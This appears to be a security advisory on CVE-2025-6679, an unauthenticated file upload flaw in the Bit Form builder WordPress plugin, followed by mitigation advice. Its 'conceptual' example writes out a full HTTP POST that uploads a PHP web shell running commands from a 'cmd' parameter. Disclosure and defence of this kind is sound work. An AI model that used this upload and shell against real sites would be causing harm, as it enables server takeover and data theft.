Overview
The cybersecurity landscape is witnessing another critical vulnerability, this time in the Bit Form builder plugin for WordPress, a popular plugin used worldwide. This newly discovered vulnerability, listed as CVE-2025-6679, can potentially lead to system compromise or data leakage, putting millions of WordPress sites at risk. This vulnerability has garnered serious attention due to the high severity, indicated by a CVSS score of 9.8, and its potential for exploitation by unauthenticated users. Let’s delve deeper into this vulnerability to understand its implications and how to mitigate it.
Vulnerability Summary
CVE ID: CVE-2025-6679
Severity: Critical (9.8)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage
Affected Products
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Product | Affected Versions
Bit Form Builder Plugin for WordPress | Up to version 2.20.4
How the Exploit Works
The vulnerability arises from the Bit Form builder plugin’s lack of file type validation, allowing unauthenticated attackers to upload arbitrary files onto the affected site’s server. This absence of security checks provides an attacker with a loophole to upload malicious scripts or executable files. When the PRO version of the plugin is activated, and an advanced file upload form is published, this vulnerability could potentially lead to remote code execution. This could allow an attacker to take control of the server or access sensitive data.
Conceptual Example Code
Here is a conceptual example illustrating how an attacker might exploit this vulnerability using an HTTP POST request to upload a malicious PHP file:
POST /wp-content/plugins/bit-form/upload.php HTTP/1.1
Host: target.example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="malicious.php"
Content-Type: application/x-php
<?php system($_GET['cmd']); ?>
------WebKitFormBoundary7MA4YWxkTrZu0gW--In this example, the attacker uses a multipart/form-data POST request to upload a PHP script that can execute arbitrary system commands supplied via the ‘cmd’ GET parameter.
Mitigation
The recommended mitigation for this vulnerability is to apply the vendor-supplied patch. If the patch is not yet available or cannot be immediately applied, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation. These systems can be configured to block or alert on attempts to upload files via the Bit Form builder plugin. However, these are temporary solutions, and applying the patch remains the most effective way to protect your WordPress site from this vulnerability.